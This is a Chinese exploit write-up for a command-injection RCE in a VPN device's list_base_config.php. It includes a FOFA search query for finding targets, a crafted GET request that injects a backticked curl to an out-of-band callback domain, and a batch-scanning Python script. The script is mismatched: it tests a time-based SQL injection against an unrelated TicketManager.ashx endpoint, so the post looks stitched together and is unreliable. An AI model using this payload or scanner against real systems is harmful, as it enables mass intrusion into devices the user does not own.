【漏洞复现】某某康达vpn/list_base_config.php 远程命令执行漏洞 RCE 带批量POC

》》》漏洞描述《《《

       网络设备是支撑计算机网络运行的重要硬件,包括路由器、交换机、网桥、网卡、集线器、防火墙、调制解调器和无线接入点等。路由器负责网络间的数据转发和地址转换,交换机用于局域网内设备的互联和数据交换,网桥连接不同网段实现互通,网卡提供有线或无线网络接口。防火墙则对网络流量进行监控和控制,保护网络安全。某某康达vpn，其接口list_base_config.php存在命令执行漏洞，攻击者可通过该漏洞获取系统权限。

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》》》资产收集《《《

1）信息收集
fofa：body="/images/raisecom/back.gif"

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》》》漏洞复现《《《

1.构造数据包

GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60curl%201111.7rzhzevp0iszj2p5s5186r25jwpndf14.oastify.com%60 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close

1.使用DNSLog.cn获取一个Domain

构造数据包，执行curl命令访问DNSLog生产的domain

3.DNSLog获取服务器的IP地址

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》》》测试工具《《《

import requests
import urllib3
from urllib.parse import urljoin, quote
import argparse
import ssl
import re
 
# 禁用SSL证书验证，忽略警告
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
def read_file(file_path):
    """
    读取文件中的URL列表
    :param file_path: 文件路径
    :return: URL列表
    """
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls
 
def check(url):
    """
    检查目标URL是否存在SQL注入漏洞
    :param url: 目标URL
    :return: 如果存在漏洞，返回True
    """
    url = url.rstrip("/")
    target = urljoin(url, "/SystemManager/Api/TicketManager.ashx")
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    # 构造SQL注入数据包
    data = "Method=GetReServeOrder&solutionId=1' WAITFOR DELAY '0:0:5'--"
    try:
        response = requests.post(target, verify=False, headers=headers, timeout=25, data=data)
        # 判断响应状态码、响应内容以及响应时间是否符合预期
        if response.status_code == 200 and 'Table' in response.text and 5 < response.elapsed.total_seconds() < 10:
            print(f"\033[31mDiscovered:{url}: zckxTicketManager_SQLInject!\033[0m")
            return True
    except Exception as e:
        pass
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

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